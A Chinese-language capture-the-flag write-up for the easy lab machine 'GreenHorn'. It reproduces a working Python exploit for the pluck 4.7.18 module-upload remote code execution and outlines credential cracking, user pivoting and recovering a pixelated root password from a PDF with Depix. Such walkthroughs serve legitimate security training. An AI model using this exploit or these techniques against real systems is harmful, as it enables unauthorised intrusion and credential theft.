这是一台难度为easy的靶机。总体考的代码审计+CVE利用以及pdf模糊处理技巧(未解决)
信息收集
第一步,扫端口
正常来说22端口无用,所以看80和3000
访问80端口
添加域名解析
echo "10.10.11.25 greenhorn.htb" >> /etc/hosts
再次访问
发现,是一个基于pluck框架搭建起来的网站。探查一下网站功能点。
发现登录表单。
同时也发现框架版本:pluck 4.7.18
首先考虑对应框架CVE。
查询pluck 4.7.18
发现存在远程代码执行。
查询exploit代码
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
login_url = "http://greenhorn.htb/login.php"
upload_url = "http://greenhorn.htb/admin.php?action=installmodule"
headers = {"Referer": login_url,}
login_payload = {"cont1": "admin","bogus": "","submit": "Log in"}
file_path = input("ZIP file path: ")
multipart_data = MultipartEncoder(
fields={
"sendfile": ("mirabbas.zip", open(file_path, "rb"), "application/zip"),
"submit": "Upload"
}
)
session = requests.Session()
login_response = session.post(login_url, headers=headers, data=login_payload)
if login_response.status_code == 200:
print("Login account")
upload_headers = {
"Referer": upload_url,
"Content-Type": multipart_data.content_type
}
upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)
if upload_response.status_code == 200:
print("ZIP file download.")
else:
print("ZIP file download error. Response code:", upload_response.status_code)
else:
print("Login problem. response code:", login_response.status_code)
rce_url="http://greenhorn.htb/data/modules/mirabbas/miri.php"
rce=requests.get(rce_url)
print(rce.text)
发现是利用pluck 4.7.18版本中install module组件中zip文件执行
但我们先得进入到他后台管理先。
访问3000端口,这里类似资源挂载网站。上面挂载了该网站的后端源码。
获取凭据
找到login.php开始代码审计
找到登录密码
解密
成功登录后台
获取初始立足点
跳转install module页面
构建对应zip文件上传获取初始立足点呀
获取userflag
发现存在用户junior
利用web密码成功切换到用户
22端口ssh失败
再发现其home目录下存在一个pdf文件
获取并查看
发现一段被模糊处理了的密码,推测这就是root密码
使用pdfimages获取pdf中的密码图片
再使用Depix工具进行马赛克还原
获取root密码
再进行su切换
成功拿到root.txt